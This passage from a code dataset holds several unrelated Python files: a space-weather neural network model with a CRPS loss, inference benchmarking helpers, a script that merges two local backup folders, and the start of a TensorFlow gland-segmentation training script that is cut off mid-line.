'Ni', 'Vth', 'R_xgse', 'R_ygse', 'R_zgse', 'target_R_xgse', 'target_R_ygse', 'target_R_zgse'] #Wind data keys to include in input dataset\n else:\n self.in_keys = in_keys\n if tar_keys is None:\n self.tar_keys = ['B_xgsm', 'B_ygsm', 'B_zgsm', 'Vi_xgse', 'Vi_ygse', 'Vi_zgse', 'Ne'] #Targets from MMS dataset to match with input data\n else:\n self.tar_keys = tar_keys\n if out_keys is None:\n self.out_keys = ['B_xgsm', 'B_xgsm_sig', 'B_ygsm', 'B_ygsm_sig', 'B_zgsm', 'B_zgsm_sig', 'Vi_xgse', 'Vi_xgse_sig', 'Vi_ygse', 'Vi_ygse_sig', 'Vi_zgse', 'Vi_zgse_sig', 'Ne', 'Ne_sig']\n else:\n self.out_keys = out_keys\n self.window = hps[0]\n self.stride = hps[1]\n self.fraction = hps[2]\n def predict(self, input):\n '''\n High-level wrapper function to generate prime predictions from input dataframes.\n \n Parameters:\n input (dataframe, ndarray): Input data to be scaled and predicted\n Returns:\n output (dataframe): Scaled output data\n '''\n if isinstance(input, pd.DataFrame): #If input is a dataframe\n input_arr = input[self.in_keys].to_numpy() #Convert input dataframe to array\n if isinstance(input, np.ndarray): #If input is an array\n input_arr = input #Set input array to input\n output_arr = self.predict_raw(input_arr) #Predict with the keras model\n output = pd.DataFrame(output_arr, columns = self.out_keys) #Convert output array to dataframe\n output_epoch = input['Epoch'].to_numpy()[(self.window-1):] #Stage an epoch column to be added to the output dataframe\n output_epoch += pd.Timedelta(seconds = 100*self.stride) #Add lead time to the epoch column\n output['Epoch'] = output_epoch #Add the epoch column to the output dataframe\n return output\n def predict_raw(self, input):\n '''\n Wrapper function to predict with a keras model.\n '''\n input_scaled = self.in_scaler.transform(input)\n input_arr = np.zeros((len(input_scaled)-(self.window-1), self.window, len(self.in_keys))) #Reshape input data to be 3D\n for i in np.arange(len(input_scaled)-(self.window-1)):\n input_arr[i,:,:] = input_scaled[i:(i+self.window)] #Move the 55 unit window through the input data\n output_unscaled = self.model.predict(input_arr)\n output = np.zeros((len(output_unscaled),len(self.out_keys))) #Stage output data to be 2x target dimensions\n output[:, ::2] = self.tar_scaler.inverse_transform(output_unscaled[:, ::2]) #Mean values\n output[:, 1::2] = np.abs(self.tar_scaler.inverse_transform(output_unscaled[:, ::2] + output_unscaled[:, 1::2]) - self.tar_scaler.inverse_transform(output_unscaled[:, ::2])) #Standard deviations\n return output\n def predict_grid(self, gridsize, x_extent, y_extent, framenum, bx, by, bz, vx, vy, vz, ni, vt, rx, ry, rz):\n '''\n Generate predictions from prime model on a grid of points.\n\n Parameters:\n gridsize (float): Spacing of grid points\n x_extent (list): Range of x values to calculate on\n y_extent (list): Range of y values to calculate on\n framenum (int): Number of frames to calculate\n bx (float, array-like): IMF Bx value. If array like, must be of length framenum.\n by (float, array-like): IMF By value. If array like, must be of length framenum.\n bz (float, array-like): IMF Bz value. If array like, must be of length framenum.\n vx (float, array-like): Solar wind Vx value. If array like, must be of length framenum.\n vy (float, array-like): Solar wind Vy value. If array like, must be of length framenum.\n vz (float, array-like): Solar wind Vz value. If array like, must be of length framenum.\n ni (float, array-like): Solar wind ion density value. If array like, must be of length framenum.\n vt (float, array-like): Solar wind ion thermal speed value. If array like, must be of length framenum.\n rx (float, array-like): Wind spacecraft position x value. If array like, must be of length framenum.\n ry (float, array-like): Wind spacecraft position y value. If array like, must be of length framenum.\n rz (float, array-like): Wind spacecraft position z value. If array like, must be of length framenum.\n Returns:\n output_grid (ndarray): Array of predicted values on the grid. Shape (framenum, x_extent/gridsize, y_extent/gridsize, 18)\n '''\n x_arr = np.arange(x_extent[0], x_extent[1], gridsize) #Create a grid to calculate the magnetosheath conditions on\n y_arr = np.arange(y_extent[0], y_extent[1], gridsize) #Create a grid to calculate the magnetosheath conditions on\n x_grid, y_grid = np.meshgrid(x_arr, y_arr) #Create a grid to calculate the magnetosheath conditions on\n input_seed = np.zeros((len(x_grid.flatten())*framenum, len(self.in_keys))) #Initialize array to hold the input data before unfolding it\n for idx, element in enumerate([bx, by, bz, vx, vy, vz, ni, vt, rx, ry, rz]): #Loop through the input data and repeat it\n try:\n iter(element) #Check if the element is iterable\n input_seed[:, idx] = np.repeat(element, len(x_grid.flatten())) #If it is, repeat it for each grid point\n except TypeError:\n input_seed[:, idx] = np.repeat(element, framenum*len(x_grid.flatten())) #If it isn't, repeat it for each grid point *and frame*\n input_seed[:, 11] = np.tile(x_grid.flatten(), framenum)\n input_seed[:, 12] = np.tile(y_grid.flatten(), framenum)\n input_seed[:, 13] = 0 #Set target z to 0\n input_seed_scaled = self.in_scaler.transform(input_seed) #Scale the input data\n input_seed_scaled = np.repeat(input_seed_scaled, self.window, axis = 0) #Repeat the input data 55 times to make static timeseries\n input_arr = input_seed_scaled.reshape(len(x_grid.flatten())*framenum, self.window, len(self.in_keys)) #Reshape the input data into the correct shape\n output_arr = self.model.predict(input_arr) #Predict the output data\n output = np.zeros((len(output_arr),len(self.out_keys))) #Stage output data to be 2x target dimensions\n output[:, ::2] = self.tar_scaler.inverse_transform(output_arr[:, ::2]) #Mean values\n output[:, 1::2] = np.abs(self.tar_scaler.inverse_transform(output_arr[:, ::2] + output_arr[:, 1::2]) - self.tar_scaler.inverse_transform(output_arr[:, ::2])) #Standard deviations\n output_grid = output.reshape(framenum, len(y_arr), len(x_arr), len(self.out_keys)) #Reshape the output data into the correct shape\n return output_grid\n def load_weights(self, modelpath, scalerpath):\n '''\n Wrapper function to load saved keras model and scalers\n \n Parameters:\n modelpath (str): Path to saved keras model\n scalerpath (str): Path to saved scalers\n '''\n self.model.load_weights(modelpath)\n self.in_scaler = joblib.load(scalerpath + 'in_scaler.pkl')\n self.tar_scaler = joblib.load(scalerpath + 'tar_scaler.pkl')\n def save_weights(self, modelpath, scalerpath):\n '''\n Wrapper function to save keras model and scalers\n\n Parameters:\n modelpath (str): Path to save keras model\n scalerpath (str): Path to save scalers\n '''\n self.model.save_weights(modelpath)\n joblib.dump(self.in_scaler, scalerpath + 'in_scaler.pkl')\n joblib.dump(self.tar_scaler, scalerpath + 'tar_scaler.pkl')\n def build_model(self, units = [352, 192, 48, 48], activation = 'elu', dropout = 0.20, lr = 1e-4):\n '''\n Function to build keras model\n\n Parameters:\n units (list): Number of units in each layer of the model\n activation (str): Activation function to use in hidden layers\n dropout (float): Dropout rate to use in hidden layers\n lr (float): Learning rate to use in optimizer\n \n Returns:\n model (keras model): Keras model to be used for prediction (weights not initialized)\n '''\n model = ks.Sequential([ks.layers.GRU(units=units[0]),\n ks.layers.Dense(units=units[1], activation=activation),\n ks.layers.Dense(units=units[2], activation=activation),\n ks.layers.Dense(units=units[3], activation=activation),\n ks.layers.LayerNormalization(),\n ks.layers.Dropout(dropout),\n ks.layers.Dense(len(self.tar_keys),activation='linear')\n ])\n model.compile(optimizer=tf.optimizers.Adamax(learning_rate=lr), loss=crps_loss)\n model.build(input_shape = (1, self.window, len(self.in_keys)))\n return model\n \n#Custom loss function (Continuous Rank Probability Score) and associated helper functions\n\ndef crps_loss(y_true, y_pred):\n \"\"\"\n Continuous rank probability score function.\n Assumes tensorflow backend.\n \n Parameters\n ----------\n y_true : tf.Tensor\n Ground truth values of predicted variable.\n y_pred : tf.Tensor\n mu and sigma^2 values of predicted distribution.\n \n Returns\n -------\n crps : tf.Tensor\n Continuous rank probability score.\n \"\"\"\n # Separate the parameters into means and squared standard deviations\n mu0, sg0, mu1, sg1, mu2, sg2, mu3, sg3, mu4, sg4, mu5, sg5, mu6, sg6, y_true0, y_true1, y_true2, y_true3, y_true4, y_true5, y_true6 = unstack_helper(y_true, y_pred)\n \n # CRPS (assuming gaussian distribution)\n crps0 = tf.math.reduce_mean(crps_f(ep_f(y_true0, mu0), sg0))\n crps1 = tf.math.reduce_mean(crps_f(ep_f(y_true1, mu1), sg1))\n crps2 = tf.math.reduce_mean(crps_f(ep_f(y_true2, mu2), sg2))\n crps3 = tf.math.reduce_mean(crps_f(ep_f(y_true3, mu3), sg3))\n crps4 = tf.math.reduce_mean(crps_f(ep_f(y_true4, mu4), sg4))\n crps5 = tf.math.reduce_mean(crps_f(ep_f(y_true5, mu5), sg5))\n crps6 = tf.math.reduce_mean(crps_f(ep_f(y_true6, mu6), sg6))\n \n # Average the continuous rank probability scores\n crps = (crps0 + crps1 + crps2 + crps3 + crps4 + crps5 + crps6) / 7.0\n \n return crps\n\ndef crps_f(ep, sg):\n '''\n Helper function that calculates continuous rank probability score\n '''\n crps = sg * ((ep/sg) * tf.math.erf((ep/(np.sqrt(2)*sg))) + tf.math.sqrt(2/np.pi) * tf.math.exp(-ep**2 / (2*sg**2)) - 1/tf.math.sqrt(np.pi))\n return crps\n\ndef ep_f(y, mu):\n '''\n Helper function that calculates epsilon (error) for CRPS\n '''\n ep = tf.math.abs(y - mu)\n return ep\n\ndef unstack_helper(y_true, y_pred):\n '''\n Helper function that unstacks the outputs and targets\n '''\n # Separate the parameters into means and squared standard deviations\n mu0, sg0, mu1, sg1, mu2, sg2, mu3, sg3, mu4, sg4, mu5, sg5, mu6, sg6 = tf.unstack(y_pred, axis=-1)\n \n # Separate the ground truth into each parameter\n y_true0, y_true1, y_true2, y_true3, y_true4, y_true5, y_true6 = tf.unstack(y_true, axis=-1)\n \n # Add one dimension to make the right shape\n mu0 = tf.expand_dims(mu0, -1)\n sg0 = tf.expand_dims(sg0, -1)\n mu1 = tf.expand_dims(mu1, -1)\n sg1 = tf.expand_dims(sg1, -1)\n mu2 = tf.expand_dims(mu2, -1)\n sg2 = tf.expand_dims(sg2, -1)\n mu3 = tf.expand_dims(mu3, -1)\n sg3 = tf.expand_dims(sg3, -1)\n mu4 = tf.expand_dims(mu4, -1)\n sg4 = tf.expand_dims(sg4, -1)\n mu5 = tf.expand_dims(mu5, -1)\n sg5 = tf.expand_dims(sg5, -1)\n mu6 = tf.expand_dims(mu6, -1)\n sg6 = tf.expand_dims(sg6, -1)\n y_true0 = tf.expand_dims(y_true0, -1)\n y_true1 = tf.expand_dims(y_true1, -1)\n y_true2 = tf.expand_dims(y_true2, -1)\n y_true3 = tf.expand_dims(y_true3, -1)\n y_true4 = tf.expand_dims(y_true4, -1)\n y_true5 = tf.expand_dims(y_true5, -1)\n y_true6 = tf.expand_dims(y_true6, -1)\n return mu0, sg0, mu1, sg1, mu2, sg2, mu3, sg3, mu4, sg4, mu5, sg5, mu6, sg6, y_true0, y_true1, y_true2, y_true3, y_true4, y_true5, y_true6\n","repo_name":"connor-obrien888/prime","sub_path":"prime_lib/primesw/prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":17159,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"40304583742","text":"import contextlib\nimport os\nimport sys\nfrom xml.etree import ElementTree as ET\n\nimport cv2\nimport numpy as np\nimport tensorflow as tf\n\nfrom model_meta import reverse_label_map_lookup\n\ndef preprocess_input_file(shape, preprocess_fn, img_file, save_path=''):\n image = cv2.imread(img_file)\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n image = cv2.resize(image, shape)\n\n if save_path:\n cv2.imwrite(save_path, image)\n return preprocess_fn(image)\n\n\ndef _get_directory_label(path, num_classes):\n xml = os.listdir(path)[0]\n xml_path = os.path.join(path, xml)\n\n label_str = next(ET.parse(xml_path).iter('name')).text.replace('_', ' ')\n return reverse_label_map_lookup(num_classes, label_str)\n\n\ndef _collect_test_files(image_dir, annotation_dir, num_classes):\n file_paths, labels = [], []\n for data_dir, label_dir in zip(*map(sorted, map(os.listdir, (image_dir, annotation_dir)))):\n assert data_dir == label_dir, \"Data/label mismatch: data_dir: %s, label_dir: %s\" % (data_dir, label_dir)\n data_path = os.path.join(image_dir, data_dir)\n label_path = os.path.join(annotation_dir, label_dir)\n\n label = _get_directory_label(label_path, num_classes)\n dir_contents = os.listdir(data_path)\n\n labels.extend([label] * len(dir_contents))\n file_paths.extend([\n os.path.join(data_path, file_) for file_ in dir_contents\n ])\n\n return file_paths, labels\n\n\ndef load_test_set_files_and_labels(images_path, labels_path, size, num_classes, seed=42):\n np.random.seed(seed)\n\n files, labels = _collect_test_files(images_path, labels_path, num_classes)\n selected = np.random.permutation(len(files))[:size]\n\n return [files[s] for s in selected], [labels[s] for s in selected]\n\n\n@contextlib.contextmanager\ndef output_manager(output_file=None, mode='w'):\n out = None\n try:\n if output_file is None:\n out = sys.stdout\n else:\n out = open(output_file, mode)\n yield out\n finally:\n if out is not None and out is not sys.stdout:\n out.close()\n\n\n@contextlib.contextmanager\ndef tf_session_manager(net_meta):\n with open(net_meta['frozen_graph_filename'], 'rb') as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n\n with tf.Graph().as_default() as graph:\n tf.import_graph_def(graph_def, name=\"\")\n \n tf_config = tf.ConfigProto()\n tf_config.gpu_options.allow_growth = True\n tf_config.allow_soft_placement = True\n\n with tf.Session(config=tf_config, graph=graph) as tf_sess:\n tf_input = tf_sess.graph.get_tensor_by_name(net_meta['input_name'] + ':0')\n tf_output = tf_sess.graph.get_tensor_by_name(net_meta['output_names'][0] + ':0')\n\n yield tf_sess, tf_input, tf_output\n\n\ndef trt_engine_builder(net_meta, data_type):\n import PyTensorRT\n\n net_config = PyTensorRT.NetConfig(\n plan_path=net_meta['plan_filename'].format(data_type),\n input_node_name=net_meta['input_name'],\n output_node_name=net_meta['output_names'][0],\n input_height=net_meta['input_height'],\n input_width=net_meta['input_width'],\n input_channels=3,\n num_output_categories=net_meta['num_classes'],\n max_batch_size=1)\n\n return PyTensorRT.InferenceEngine(net_config)\n\n\ndef snpe_engine_builder(dlc_file, runtime, performance_profile):\n import PySNPE\n return PySNPE.InferenceEngine(dlc_file, runtime, performance_profile)\n\n","repo_name":"will-zegers-bc/trt_and_snpe_benchmarking","sub_path":"scripts/benchmarking_common.py","file_name":"benchmarking_common.py","file_ext":"py","file_size_in_byte":3479,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"31333288405","text":"import shutil\r\nimport os\r\n#from difflib import SequenceMatcher\r\nfrom jellyfish import damerau_levenshtein_distance as dldist\r\nimport numpy as np\r\n\r\nINPUT2=r'C:\\temp\\DOWNLOAD_GDrive_69Gb-13mai2022_unzip_INPUT2'\r\nINPUT0=r'C:\\temp\\SYNC_Gdrive_BIN_7out2022_181Gb_INPUT1' # ponto de partida se INPUT 1 começar mais abaixo nas pastas\r\nINPUT1=r'C:\\temp\\SYNC_Gdrive_BIN_7out2022_181Gb_INPUT1'\r\n#\r\nOUTPUT=r'C:\\temp\\OUTPUT'\r\nINPUT0=r'C:\\temp\\INPUT1' # just for reference if INPUT1 is under INPUT0\r\nINPUT1=r'C:\\temp\\INPUT1'\r\nINPUT2=r'C:\\temp\\INPUT2'\r\n\r\nnameSmallFilesDirectory='SmallGFiles'\r\nK=500 # kb\r\n# log:\r\nnewFolders=[]\r\nnonminMatches=[]\r\ntooLong=[]\r\n# all folders from INPUT1 and INPUT2\r\nALLFOLDERSINPUT1=[os.path.split(x[0])[1] for x in os.walk(INPUT1)] # just folder names, no path\r\nALLFOLDERSINPUT1FULL=[x[0] for x in os.walk(INPUT1)] # folder names with path\r\nALLFOLDERSINPUT2=[os.path.split(x[0])[1] for x in os.walk(INPUT2)] # just folder names, no path\r\nALLFOLDERSINPUT2FULL=[x[0] for x in os.walk(INPUT2)] # folder names with path\r\n#substituir:\r\noldS='MANUEL_LAMEIRAS_DE_FIGUEIREDO_Campagnolo'\r\nnewS='MLC'\r\ndef myrepl(f):\r\n return f.replace(oldS,newS)\r\n\r\nCOPIAR=False # INPUT1 to OUTPUT\r\nCOPIAR2=False # INPUT2 to OUTPUT\r\n\r\n# copy files from INPUT1 to OUTPUT\r\ncount=0\r\nfor FIN1, dirnames, files in os.walk(INPUT1):\r\n print(count)\r\n count+=1\r\n #print('FIN1',FIN1)\r\n FOUT=os.path.join(OUTPUT,os.path.relpath(FIN1,start=INPUT0))\r\n # create FOUT and identify FIN2 (if it exists)\r\n if not os.path.exists(FOUT) and len(dirnames)+len(files)>0 : \r\n os.makedirs(FOUT)\r\n newFolders.append(FOUT)\r\n #print('create FOUT ', FOUT)\r\n # list all files in FIN1 smaller than K kb\r\n L=[f for f in files if os.path.getsize(os.path.join(FIN1, f)) < 500]\r\n #print(L)\r\n # move those files to new subfolder\r\n if len(L) >0:\r\n SF=os.path.join(FOUT, nameSmallFilesDirectory)\r\n if not os.path.exists(SF):\r\n os.mkdir(SF)\r\n newFolders.append(SF)\r\n for f in L:\r\n # copy2 preserves metadata\r\n if COPIAR: shutil.copy2(os.path.join(FIN1, f),os.path.join(FOUT, nameSmallFilesDirectory, myrepl(f)))\r\n # Copy remaining files from FIN1 to FOUT\r\n #FIN1files=[f for f in os.listdir(FIN1) if os.path.isfile(os.path.join(FIN1,f))]\r\n MINUSL=list(set(files).difference(set(L)))\r\n for f in MINUSL:\r\n if COPIAR: shutil.copy2(os.path.join(FIN1, f),os.path.join(FOUT, myrepl(f)))\r\n \r\n \r\n# insert remaining files in INPUT2 in OUTPUT\r\ncount=0\r\nFIN2=r'C:\\temp\\DOWNLOAD_GDrive_69Gb-13mai2022_unzip_INPUT2\\pessoal\\administrativo-casas-docs-impostos-bolsas-saude-escolas\\administrativo-casa-bicas-carro\\obras_casa'\r\n# Determine existing folders in OUTPUT\r\nALLFOLDERSOUTPUT=[os.path.split(x[0])[1] for x in os.walk(OUTPUT)] # just folder names, no path\r\nALLFOLDERSOUTPUTFULL=[x[0] for x in os.walk(OUTPUT)] # folder names with path\r\n# cycle through INPUT2\r\nfor FIN2, dirnames, FIN2files in os.walk(INPUT2):\r\n print(count)\r\n count+=1\r\n #print('FIN2',FIN2)\r\n # Determine FOUT where to insert files in FIN2\r\n shortFIN2=os.path.relpath(FIN2,start=INPUT2)\r\n #ratiosMatch=[SequenceMatcher(a=shortFIN2, b=os.path.relpath(FN,start=INPUT0)).ratio() for FN in ALLFOLDERSINPUT1FULL]\r\n # determine folder in OUTPUT that is more similar to FIN2\r\n ratiosMatch=[dldist(shortFIN2, os.path.relpath(FN,start=OUTPUT)) for FN in ALLFOLDERSOUTPUTFULL]\r\n argminMatch=np.argmin(np.array(ratiosMatch))\r\n minMatch=np.min(np.array(ratiosMatch))\r\n if minMatch==0: \r\n # FOUT exists\r\n FOUT=ALLFOLDERSOUTPUTFULL[argminMatch]\r\n if minMatch>0:\r\n FOUT=os.path.join(OUTPUT,shortFIN2) # main issue: it could be a different choice of FOUT\r\n FN=ALLFOLDERSOUTPUTFULL[argminMatch]\r\n shortFN=os.path.relpath(FN,start=OUTPUT)\r\n # if dldist(shortFIN2,shortFN)>0:\r\n # print('diff',shortFIN2)\r\n # print('diff',shortFN)\r\n # print('diff',dldist(shortFIN2,shortFN))\r\n # print('diff',FIN2)\r\n # print('diff',FOUT)\r\n nonminMatches.append({shortFIN2: (minMatch ,shortFN)})\r\n if not os.path.exists(FOUT) and len(dirnames)+len(FIN2files)>0 : \r\n os.makedirs(FOUT)\r\n newFolders.append(FOUT)\r\n #print('FOUT ', FOUT)\r\n # copy files if there are files to be copied (otherwise FOUT is not created) \r\n if os.path.exists(FOUT):\r\n FOUTfiles=[f for f in os.listdir(FOUT) if os.path.isfile(os.path.join(FOUT,f))]\r\n MINUS=list(set(FIN2files).difference(set(FOUTfiles)))\r\n for f in MINUS:\r\n if len(os.path.join(FIN2, f))>259 or len(os.path.join(FOUT, f))>259: \r\n # print('too long', FIN2)\r\n # print('too long', FOUT)\r\n tooLong.append(os.path.join(FIN2, f))\r\n tooLong.append(os.path.join(FOUT, f))\r\n else:\r\n #print('len minus',len(MINUS))\r\n if COPIAR2: shutil.copy2(os.path.join(FIN2, f),os.path.join(FOUT, myrepl(f)))\r\n\r\nprint('nonminMatches',nonminMatches)\r\nprint('tooLong',tooLong)\r\n\r\n# \r\n# with open(r'C:\\temp\\newFolders.txt', 'w') as fp:\r\n# for item in newFolders:\r\n# fp.write('%s\\n' % item)\r\n# \r\n# len('C:\\temp\\OUTPUT\\aulas\\geomatica-sigdr-E-qgis3-em-portugues-E-PyQGIS\\QGIS 3 em português\\Dados para exercícios\\Secção 6.2 - Representação cartográfica do relevo e modelos digitais de elevação\\SmallGFiles')\r\n\r\n# #len('C:\\\\temp\\\\INPUT2\\\\pessoal\\\\administrativo-casas-docs-impostos-bolsas-saude-escolas\\\\emma-isabel-henri-schools-grants\\\\emma-estudos-bolsas\\\\Crous-DSE\\\\demande-mars-2020\\\\copias-docs-isabel\\\\Copy of Bulletin_CAMPAGNOLO_Henri_T1-08-02-2007_MANUEL_LAMEIRAS_DE_FIGUEIREDO_Campagnolo__29965.pdf')\r\n# a='pessoal\\\\documentos mo familiares\\\\livros-mo-h-portugal-paris\\\\alcobaca-apartamento-2021\\\\lombadas'\r\n# b='pessoal\\\\documentos mo familiares\\\\livros-mo-h-portugal-paris\\\\alcobaca-apartamento-2021\\\\lombadas'\r\n# dldist(a,b)\r\n# \r\n# [len(x) for x in tooLong]\r\n# before='administrativo-casas-docs-impostos-bolsas-saude-escolas\\\\emma-isabel-henri-schools-grants'\r\n# after='oficial-HEMKI\\\\EIH-schools-grants\\\\LFCL'\r\n# [len(x.replace(before,after)) for x in tooLong]\r\n","repo_name":"manuelcampagnolo/exemplos_python","sub_path":"os_merge_two_folders_and_subfolders.py","file_name":"os_merge_two_folders_and_subfolders.py","file_ext":"py","file_size_in_byte":5977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7814088389","text":"'''\r\nAuthor: Simon Graham\r\nTissue Image Analytics Lab\r\nDepartment of Computer Science, \r\nUniversity of Warwick, UK.\r\n'''\r\n\r\nfrom __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nfrom datetime import datetime\r\nimport os.path\r\nimport time\r\nimport glob\r\nimport numpy as np\r\nimport scipy.io as sio\r\nfrom six.moves import xrange\r\nimport tensorflow as tf\r\nimport matplotlib\r\nmatplotlib.use('Agg')\r\nimport matplotlib.pyplot as plt\r\nimport cv2\r\nfrom matplotlib.backends.backend_pdf import PdfPages\r\nfrom scipy.interpolate import UnivariateSpline\r\nimport pandas as pd\r\n\r\nimport Segmentation_input\r\nimport Segmentation_parameters\r\nimport Segmentation_networks\r\nimport Segmentation_layers as layers\r\n\r\nFLAGS = tf.app.flags.FLAGS\r\n\r\n ##############################################################################\r\ndef configure_learning_rate(num_samples_per_epoch, global_step):\r\n \"\"\"Configures the learning rate.\r\n Args:\r\n num_samples_per_epoch: The number of samples in each epoch of training.\r\n global_step: The global_step tensor.\r\n Returns:\r\n A `Tensor` representing the learning rate.\r\n Raises:\r\n ValueError: if\r\n \"\"\"\r\n decay_steps = int(num_samples_per_epoch / FLAGS.train_batch_size *\r\n FLAGS.num_epochs_per_decay)\r\n if FLAGS.sync_replicas:\r\n decay_steps /= FLAGS.replicas_to_aggregate\r\n\r\n if FLAGS.learning_rate_decay_type == 'exponential':\r\n return tf.train.exponential_decay(FLAGS.learning_rate,\r\n global_step,\r\n decay_steps,\r\n FLAGS.learning_rate_decay_factor,\r\n staircase=True,\r\n name='exponential_decay_learning_rate')\r\n elif FLAGS.learning_rate_decay_type == 'fixed':\r\n return tf.constant(FLAGS.learning_rate, name='fixed_learning_rate')\r\n elif FLAGS.learning_rate_decay_type == 'polynomial':\r\n return tf.train.polynomial_decay(FLAGS.learning_rate,\r\n global_step,\r\n decay_steps,\r\n FLAGS.end_learning_rate,\r\n power=1.0,\r\n cycle=False,\r\n name='polynomial_decay_learning_rate')\r\n else:\r\n raise ValueError('learning_rate_decay_type [%s] was not recognized',\r\n FLAGS.learning_rate_decay_type)\r\n\r\n##############################################################################\r\ndef configure_optimizer(learning_rate):\r\n \"\"\"Configures the optimizer used for training.\r\n Args:\r\n learning_rate: A scalar or `Tensor` learning rate.\r\n Returns:\r\n An instance of an optimizer.\r\n Raises:\r\n ValueError: if FLAGS.optimizer is not recognized.\r\n \"\"\"\r\n if FLAGS.optimizer == 'adadelta':\r\n optimizer = tf.train.AdadeltaOptimizer(learning_rate, \r\n rho=FLAGS.adadelta_rho,epsilon=FLAGS.opt_epsilon)\r\n elif FLAGS.optimizer == 'adagrad':\r\n optimizer = tf.train.AdagradOptimizer(learning_rate,\r\n initial_accumulator_value=FLAGS.adagrad_initial_accumulator_value)\r\n elif FLAGS.optimizer == 'adam':\r\n optimizer = tf.train.AdamOptimizer(learning_rate,\r\n beta1=FLAGS.adam_beta1,beta2=FLAGS.adam_beta2,epsilon=FLAGS.opt_epsilon)\r\n elif FLAGS.optimizer == 'ftrl':\r\n optimizer = tf.train.FtrlOptimizer(learning_rate,learning_rate_power=FLAGS.ftrl_learning_rate_power,\r\n initial_accumulator_value=FLAGS.ftrl_initial_accumulator_value,\r\n l1_regularization_strength=FLAGS.ftrl_l1,l2_regularization_strength=FLAGS.ftrl_l2)\r\n elif FLAGS.optimizer == 'momentum':\r\n optimizer = tf.train.MomentumOptimizer(learning_rate,\r\n momentum=FLAGS.momentum,name='Momentum')\r\n elif FLAGS.optimizer == 'rmsprop':\r\n optimizer = tf.train.RMSPropOptimizer(learning_rate,decay=FLAGS.rmsprop_decay,\r\n momentum=FLAGS.rmsprop_momentum,epsilon=FLAGS.opt_epsilon)\r\n elif FLAGS.optimizer == 'sgd':\r\n optimizer = tf.train.GradientDescentOptimizer(learning_rate=FLAGS.learning_rate)\r\n else:\r\n raise ValueError('Optimizer [%s] was not recognized', FLAGS.optimizer)\r\n return optimizer\r\n\r\n###################################################################\r\ndef train():\r\n if not tf.gfile.Exists(FLAGS.checkpoint_dir):\r\n tf.gfile.MakeDirs(FLAGS.checkpoint_dir)\r\n\r\n with tf.Graph().as_default():\r\n #with tf.device('/cpu:0'):\r\n global_step = tf.Variable(0, trainable=False, name = 'global_step')\r\n # Epoch counter\r\n curr_epoch = tf.Variable(0, trainable=False, name = 'curr_epoch')\r\n update_curr_epoch = tf.assign(curr_epoch, tf.add(curr_epoch, tf.constant(1)))\r\n discount_weight = tf.Variable(1.0, trainable=False, name = 'curr_epoch')\r\n update_discount_weight = tf.assign(discount_weight, tf.div(discount_weight, 10))\r\n\r\n # drop out\r\n keep_prob = tf.placeholder(tf.float32)\r\n is_training = tf.placeholder(tf.bool, [], name='is_training')\r\n\r\n # network stats\r\n # Load network stats\r\n mat_contents = sio.loadmat(os.path.join(FLAGS.stats_dir,'network_stats.mat'))\r\n mean_img = np.float32(mat_contents['mean_image'])\r\n variance_img = np.float32(mat_contents['variance_image'])\r\n\r\n mean_image = tf.Variable(mean_img, trainable=False, name = 'mean_image')\r\n variance_image = tf.Variable(variance_img, trainable=False, name = 'variance_image')\r\n\r\n # Get images and labels.\r\n with tf.name_scope('inputs'):\r\n images_train, labels_train, contours_train = Segmentation_input.inputs_train(mean_image,variance_image)\r\n images_val, labels_val, contours_val = Segmentation_input.inputs_val(mean_image,variance_image)\r\n\r\n # Build a Graph that computes the logits predictions from the\r\n # inference model.\r\n with tf.variable_scope(\"network\") as scope:\r\n '''\r\n Passes the data through the deep learning model\r\n '''\r\n (softmax_train_gland1, softmax_train_gland2, softmax_train_gland3, softmax_train_fusion_gland, softmax_train_contour1, \r\n softmax_train_contour2, softmax_train_contour3, softmax_train_fusion_contour) = Segmentation_networks.dcan(images_train,keep_prob)\r\n scope.reuse_variables()\r\n (softmax_val_gland1, softmax_val_gland2, softmax_val_gland3, softmax_val_fusion_gland, softmax_val_contour1, \r\n softmax_val_contour2, softmax_val_contour3, softmax_val_fusion_contour) = Segmentation_networks.dcan(images_val,keep_prob)\r\n \r\n # Calculate loss.\r\n loss_train = layers.cross_entropy_dcan(softmax_train_gland1, softmax_train_gland2, softmax_train_gland3, softmax_train_fusion_gland, softmax_train_contour1, \r\n softmax_train_contour2, softmax_train_contour3, softmax_train_fusion_contour, labels_train, contours_train , discount_weight)\r\n loss_val = layers.cross_entropy_dcan(softmax_val_gland1, softmax_val_gland2, softmax_val_gland3, softmax_val_fusion_gland, softmax_val_contour1, \r\n softmax_val_contour2, softmax_val_contour3, softmax_val_fusion_contour, labels_val, contours_val , discount_weight)\r\n\r\n # Accuracy for each class- gland\r\n with tf.name_scope('training_predictions_gland'):\r\n predict_train_g = tf.argmax(softmax_train_fusion_gland,3)\r\n predict_train_g = tf.reshape(predict_train_g,[-1])\r\n with tf.name_scope('training_labels_gland'):\r\n actual_train_g = tf.squeeze(tf.cast(labels_train-1,dtype = tf.int64))\r\n actual_train_g = tf.argmax(actual_train_g, 3)\r\n actual_train_g = tf.reshape(actual_train_g,[-1])\r\n with tf.name_scope('training_accuracy_gland'):\r\n correct_prediction_train_g = tf.equal(predict_train_g, actual_train_g)\r\n accuracy_train_g = tf.reduce_mean(tf.cast(correct_prediction_train_g, tf.float32))\r\n with tf.name_scope('validation_predictions_gland'):\r\n predict_val_g = tf.argmax(softmax_val_fusion_gland,3)\r\n predict_val_g = tf.reshape(predict_val_g,[-1])\r\n with tf.name_scope('validation_labels_gland'):\r\n actual_val_g = tf.squeeze(tf.squeeze(tf.cast(labels_val-1,dtype = tf.int64)))\r\n actual_val_g = tf.argmax(actual_val_g, 3)\r\n actual_val_g = tf.reshape(actual_val_g,[-1])\r\n with tf.name_scope('validation_accuracy_gland'):\r\n correct_prediction_val_g = tf.equal(predict_val_g,actual_val_g)\r\n accuracy_val_g = tf.reduce_mean(tf.cast(correct_prediction_val_g, tf.float32))\r\n\r\n # Accuracy for each class - contour\r\n with tf.name_scope('training_predictions_contour'):\r\n predict_train_c = tf.argmax(softmax_train_fusion_contour,3)\r\n predict_train_c = 